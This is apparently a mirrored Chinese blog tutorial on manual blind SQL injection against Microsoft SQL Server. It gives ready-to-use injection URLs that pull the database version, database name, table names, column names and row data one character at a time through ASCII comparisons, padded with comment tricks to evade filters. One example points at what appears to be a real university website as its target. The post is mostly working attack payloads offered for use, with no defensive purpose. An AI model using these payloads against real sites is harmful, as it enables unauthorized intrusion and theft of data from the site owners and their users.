zoukankan      html  css  js  c++  java
  • mssql手工注入2

    --+
    先说一些函数的说明:
    substring(str,start,len) 截取字符串的作用,第一个参数为要截取的字符串,第二个参数为从哪里开始截取,第三个参数为截取的长度 ascii(char) 把字符转换为ascii值
    --+


    爆数据库版本: md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))>0-- 正常页面 wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))>100-- 不正常页面 说明@@version的第一个字母的ascii 的范围是在0到100 之间 md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=77-- 正常页面,说明@@version的第一个字母的ascii 的值是77,查表可知为M 第二个字母的注入为: md.aspx?c=c1'/**/and/**/ascii(substring(@@version,2,1))>0--



    爆当前数据库名字:
    md.aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200--
    其他字符按爆版本号方法类似


    爆表:
    md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/库.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0
    爆第二张表:
    md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/name/**/from/**/库.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0 and name not in('表1')),1,1))>0/**/--&t=0

    爆表的字段: md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/COLUMN_NAME from/**/库.information_schema.columns/**/where/** /TABLE_NAME='表名1'),1,1))>0/**/--&t=0
    爆第二个字段:
    md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/COLUMN_NAME/**/ from/**/库.information_schema.columns/**/where/** /TABLE_NAME='表名1'/**/and/**/COLUMN_NAME/**/not/**/in('字段1')),1,1))>0/**/--&t=0

    爆数据:
    md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/字段1/**/from/**/表名),1,1))>0/**/--&t=0

    对于这种注入, 如果能用工具, 就用工具, 因为特别的麻烦

  • 相关阅读:
    堆排序
    如何在.Net中使用MongoDB
    二叉树遍历 C#
    对C# 中Readonly的再认识
    对C# 构造函数的理解
    TypeScript学习: 九、TypeScript的泛型
    TypeScript学习: 八、TypeScript的属性接口用法封装ajax
    锚点跳转不改变History
    设计模式笔记—代理模式
    小程序开发二:上手第一个小程序
  • 原文地址:https://www.cnblogs.com/perl6/p/6835951.html
Copyright © 2011-2022 走看看